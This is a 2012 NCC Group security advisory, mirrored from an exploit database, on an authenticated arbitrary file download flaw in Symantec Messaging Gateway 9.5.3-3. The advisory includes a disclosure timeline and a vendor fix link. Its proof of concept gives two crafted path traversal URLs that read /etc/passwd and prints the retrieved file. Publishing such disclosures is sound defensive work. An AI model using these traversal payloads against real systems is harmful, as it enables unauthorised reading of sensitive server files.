Symantec Messaging Gateway 9.5.3-3 – Arbitrary File Download

  • 作者: Ben Williams
    日期: 2012-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23110/
  • =======
    Summary
    =======
    Name: Symantec Messaging Gateway - Arbitrary file download is possible with a crafted URL (authenticated)
    Release Date: 30 November 2012
    Reference: NGS00266
    Discoverer: Ben Williams <ben.williams@ngssecure.com>
    Vendor: Symantec
    Vendor Reference: 
    Systems Affected: Symantec Messaging Gateway 9.5.3-3
    Risk: Medium
    Status: Published
    
    ========
    TimeLine
    ========
    Discovered: 17 April 2012
    Released: 17 April 2012
    Approved: 29 April 2012
    Reported: 30 April 2012
    Fixed: 27 August 2012
    Published: 30 November 2012
    
    ===========
    Description
    ===========
    I. VULNERABILITY
    -------------------------
    Symantec Messaging Gateway 9.5.3-3 - Arbitrary file download is possible with a crafted URL (authenticated)
    
    II. BACKGROUND
    -------------------------
    Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
    
    III. DESCRIPTION
    -------------------------
    The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user
    
    =================
    Technical Details
    =================
    IV. PROOF OF CONCEPT
    -------------------------
    Various files containing sensitive information can be downloaded using a crafted URL for example:
    
    http://192.168.1.59:41080/brightmail/export?type=logs&logFile=../../../etc/passwd&logType=1&browserType=1
    
    Which produces a file containing:
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/etc/news:
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    rpm:x:37:37::/var/lib/rpm:/bin/bash
    ntp:x:38:38::/etc/ntp:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    postfix:x:100:101::/home/postfix:/bin/bash
    mailwall:x:500:501::/home/mailwall:/bin/bash
    mysql:x:501:103::/home/mysql:/bin/bash
    bcc:x:502:99::/home/bcc:/bin/bash
    support:x:503:503::/home/support:/bin/bash
    admin:x:504:501::/home/admin:/bin/rbash
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    pcap:x:77:77::/var/arpwatch:/sbin/nologin
    named:x:25:25:Named:/var/named:/sbin/nologin
    
    Simliar issues can be seen in other places such as here:
    
    http://192.168.1.59:41080/brightmail/admin/restore/download.do?no-cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=../../etc/passwd
    
    ===============
    Fix Information
    ===============
    An updated version of the software has been released to address the vulnerability:
    
    http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
    
    NCC Group Research
    http://www.nccgroup.com/research
    
    
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